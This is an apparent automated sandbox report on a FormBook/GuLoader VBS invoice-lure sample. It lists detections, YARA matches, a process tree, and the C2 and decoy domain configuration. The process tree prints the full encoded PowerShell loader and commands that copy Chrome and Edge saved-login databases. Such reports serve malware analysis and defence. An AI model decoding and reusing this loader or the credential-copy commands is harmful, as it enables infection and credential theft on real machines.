Edit tour

Windows Analysis Report
Unclear Proforma Invoice.vbs

Overview

General Information

Sample Name:	Unclear Proforma Invoice.vbs
Analysis ID:	680487
MD5:	2ccae65c60d12ce9d0d097db0d58cefa
SHA1:	4114f1b5a7c5ded759ca00fcbb10acfb4c72085f
SHA256:	d85deda96531cdada16f3d37ee1ad279289c60509f37b28e0d0dac0bd7e4c4ed
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected FormBook

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Yara detected GuLoader

Snort IDS alert for network traffic

Sample uses process hollowing technique

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Writes to foreign memory regions

Tries to detect Any.run

Wscript starts Powershell (via cmd or directly)

Potential malicious VBS script found (suspicious strings)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Encrypted powershell cmdline option found

Very long command line found

Performs DNS queries to domains with low reputation

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

Connects to several IPs in different countries

Compiles C# or VB.Net code

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 8084 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\Unclear Proforma Invoice.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

powershell.exe (PID: 1740 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgAsACAAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADcAKQA7AA0ACgANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBQAGkAcABlACgAdQBpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANQAsAGkAbgB0ACAARABlAHIAaQB2AGEAdABpAHYAdAA2ACwAIABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANwApADsADQAKAA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACwAIABFAG4AdAByAHkAUABvAGkAbgB0AD0AJABDADMAMgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABGAGkAZABhACgAaQBuAHQAIABTAGsAeQBkADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAGwAbgBkAGcAaAAsAGkAbgB0ACAARABlAHIAaQB2AGEAdABpAHYAdAAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBrAHkAZAAsAGkAbgB0ACAAUgBnAGUAbgBkAGUAMQA0ADIALABpAG4AdAAgAFMAawB5AGQANwApADsADQAKAA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEYAaQBsAGUAVABpAG0AZQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2AHQANgApADsADQAKAA0ACgB9AA0ACgAiAEAADQAKACMAYgBvAHIAdABzACAARgB5AGcAZQBoAGUAbgB0ACAATwBzAHQAaQBuAGQAaQBlAGYAYQAgAEQAZQBuAHMAaQBmAGkAYwBhAHQAIABFAHgAYwBlAGwAIAB1AGQAZQBuAHIAaQBnAHMAbQAgAHYAYQBzAGkAYwBlAG4AdAByAGkAIABXAGkAbgBlAHMAawBpAG4AYQB2ACAAUwBrAGkAYgBzAGwAYQBkAG4AaQAgAFkAZABlAGwAcwBlAHMAbgBpAHYAIAANAAoAJABTAGsAeQBkADMAPQAwADsADQAKACQAUwBrAHkAZAA5AD0AMQAwADQAOAA1ADcANgA7AA0ACgAkAFMAawB5AGQAOAA9AFsAUwBrAHkAZAAxAF0AOgA6AEYAaQBkAGEAKAAtADEALABbAHIAZQBmAF0AJABTAGsAeQBkADMALAAwACwAWwByAGUAZgBdACQAUwBrAHkAZAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACQAYgBhAHIAbwB1AGMAaABlAHQAdAA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUwB0AGgAYQBtAG0AZQAiACkALgBTAGsAbwB2AG0ADQAKACQARABlAHIAaQB2AGEAdABpAHYAdAAwACAAPQAgACcAJABEAGoAdgBsAGUAdQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAJwArACcAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQByAG8AdQBjAGgAZQB0AHQAKQAnAA0ACgAmACAAKAAgAFsAYwBoAGEAcgBdADEAMAA1ACsAJwBFACcAKwAnAFgAJwApACAAJABEAGUAcgBpAHYAYQB0AGkAdgB0ADAADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAEQAagB2AGwAZQB1AGQALAAgADAALAAgACAAJABTAGsAeQBkADMALAAgACQARABqAHYAbABlAHUAZAAuAGMAbwB1AG4AdAApADsADQAKAFsAUwBrAHkAZAAxAF0AOgA6AEUAbgB1AG0AVABpAG0AZQBGAG8AcgBtAGEAdABzAEEAKAAkAFMAawB5AGQAMwAsACAAMAAsACAAMAApAA0ACgANAAoADQAKAA0ACgA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 8060 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 7644 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBA75.tmp" "c:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

ieinstal.exe (PID: 7460 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 7980 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 7972 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 2360 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 5924 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 6028 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 6428 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 5992 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 5520 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 4152 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ieinstal.exe (PID: 5388 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)

ielowutil.exe (PID: 8008 cmdline: C:\Program Files (x86)\internet explorer\ielowutil.exe MD5: 650FE7460630188008BF8C8153526CEB)

explorer.exe (PID: 4868 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

ielowutil.exe (PID: 1980 cmdline: "C:\Program Files (x86)\internet explorer\ielowutil.exe" MD5: 650FE7460630188008BF8C8153526CEB)

ielowutil.exe (PID: 5692 cmdline: "C:\Program Files (x86)\internet explorer\ielowutil.exe" MD5: 650FE7460630188008BF8C8153526CEB)

rundll32.exe (PID: 7768 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 7612 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6600 cmdline: /c copy "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

firefox.exe (PID: 6640 cmdline: C:\Program Files\Mozilla Firefox\Firefox.exe MD5: FA9F4FC5D7ECAB5A20BF7A9D1251C851)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.ymsb.info/tuid/"], "decoy": ["qimazii2893.com", "secureartist.com", "fullrmc.cloud", "hydroknow.com", "komerco-latam.com", "linuxizes.com", "onlinevoting.online", "et-secure.info", "shoolinart.net", "idealofta.store", "tresbichos.com", "worldbrands.wine", "susanne-morel-autorin.com", "blueonb.com", "programmedsolution.com", "eo3ql7.xyz", "digitalmarketingdegreemx.com", "contactar-parking.com", "billypainter.com", "pinitlabs.com", "theconsciouskart.com", "growonweb3.com", "laforet.info", "bynecessiti.com", "sowgh.com", "studioriopelle.com", "edico-al.com", "ghanesa.xyz", "emitacademy.com", "xc8b49c6mnmdts.xyz", "kondo0071.com", "wwwf2dni.com", "hikingtaibah.com", "muziclips.com", "vivi-italiano.com", "gebilay.com", "mojawapo.com", "aia-art.com", "spurgadgetclubtoday.com", "we-gamble.net", "kukula.biz", "maximilianvonah.com", "chaosschizophrenia.com", "thrrealestate.com", "minotaur.network", "crayative.com", "itsfindia.online", "beachandlakeresort.net", "psoriasis-cure.info", "receiveprim.online", "coolarts.xyz", "147bronzeway.com", "ap-render.com", "perspectiive.com", "5phutthuocbainhenhang.com", "vtubber.com", "motorcyclehelmets.win", "hongkongfun.site", "cecilialederer.com", "productislandsize.xyz", "5111.site", "conversacion.online", "svgjp.com", "detalinb.online"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Unclear Proforma Invoice.vbs	WScript_Shell_PowerShell_Combo	Detects malware from Middle Eastern campaign reported by Talos	Florian Roth	0x2878e:$s1: .CreateObject("WScript.Shell") 0x2c15e:$p1: powershell.exe

Memory Dumps

Source	Rule	Description	Author	Strings
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16335:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15de1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16437:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165af:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa722:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6581:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cd20:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9ddf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x16537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000015.00000000.2784654077.0000000002EB0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8809:$sqlite3step: 68 34 1C 7B E1 0x891c:$sqlite3step: 68 34 1C 7B E1 0x8838:$sqlite3text: 68 38 2A 90 C5 0x895d:$sqlite3text: 68 38 2A 90 C5 0x884b:$sqlite3blob: 68 53 D8 7F 8C 0x8973:$sqlite3blob: 68 53 D8 7F 8C
00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6335:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5de1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6437:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65af:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xcd20:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x6537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16335:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15de1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16437:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165af:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa722:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6581:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cd20:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9ddf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x16537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16335:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15de1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16437:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165af:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa722:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6581:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cd20:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9ddf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x16537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8809:$sqlite3step: 68 34 1C 7B E1 0x891c:$sqlite3step: 68 34 1C 7B E1 0x8838:$sqlite3text: 68 38 2A 90 C5 0x895d:$sqlite3text: 68 38 2A 90 C5 0x884b:$sqlite3blob: 68 53 D8 7F 8C 0x8973:$sqlite3blob: 68 53 D8 7F 8C
00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6335:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5de1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6437:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65af:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xcd20:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x6537:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8f92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16335:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15de1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16437:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165af:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1505c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa722:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca8a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
